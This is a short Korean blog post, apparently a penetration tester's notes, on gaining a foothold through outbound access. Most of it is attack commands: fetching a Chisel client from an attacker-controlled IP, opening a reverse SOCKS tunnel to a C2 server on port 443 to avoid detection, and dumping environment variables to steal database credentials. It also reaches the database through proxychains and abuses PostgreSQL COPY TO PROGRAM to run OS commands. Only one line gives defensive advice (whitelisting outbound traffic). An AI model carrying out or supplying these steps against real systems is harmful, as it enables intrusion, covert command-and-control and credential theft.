의미없는 블로그

Chisel 로 C2 서버 터널링 수행 (거점 확보) 본문

# 나/pentest

Chisel 로 C2 서버 터널링 수행 (거점 확보)

SaltLee 2026. 2. 26. 09:40

아웃바운드 열려있는 서버들이 있다

  • 패키지 설치가 필요해서
  • 외부 API 서버랑 통신 필요해서
  • 기타 등등 이유 모르겠음

Chisel 이라고 TCP 터널링 도구인데

아웃바운드 열려있는 서버에서

Chisel 클라이언트 다운 받아서 설치하고

 

공격자 외부 서버에 Chisel 서버 구축해서

터널링 맺을 수 있음

 

#curl 123.123.123.123/chisel -o chisel

chisel 폴더에 chisel 클라이언트 다운로드 (from 공격자 외부 서버)

#chmod +x chisel

실행권한 부여

#./chisel client 123.123.123.123:443 R:socks

공격자 외부 서버로 터널링 연결
EC2 → 443 포트 → C2 서버 이렇게 가게됨 (의심 회피)

 

아웃바운드도 제한해야 한다

허용할 도메인/IP만 화이트리스트로 

 

+ 이후에 DB 크리덴셜 탈취 과정

환경변수에 들어있는 DB 접속 정보 획득함 (DB 서버 IP, 계정, DB 이름 등)

#export
전체 환경 변수 확인

#export | grep -i mageai
Mage AI 관련 환경 변수 확인

#export | grep -i db
DB 접속 정보

 

proxychains 라고 말 그대로 프록시인데

걍 psql -h ... 하면 자기 서버(C2) 에서 직접 연결 시도하니까

proxychains 를 붙여서 트래픽 방향을 바꿔줌

#proxychains psql -h [DB 서버 IP] -U [계정] -d [접속할 DB 이름]

 

copy to program (superuser 권한일때)

postgreSQL 에서 쿼리 결과를 OS 명령어로 전달하는 기능

postgres=# copy (select * from users) to program 'cat > /tmp/users.csv';

하면 select * from users 쿼리 결과를 users.csv 파일로 저장

postgres=# copy (select '') to program '(whoami&&hostname -i) > /tmp/result';

공격자가 원하는 명령어 날려서 악용할 수 있음

postgres=# select pg_read_file('/tmp/result');

pg_read_file 는 postgreSQL 내장 함수
서버 파일을 SQL 로 읽을 수 있다
왜 proxychain cat /tmp/result 는 안되나면
proxychain 은 네트워크 연결을 프록시로 우회시키는 툴이라서 (네트워크 관련 libc 함수를 가로채는 형식)
cat 같은건 안된다

 

Comments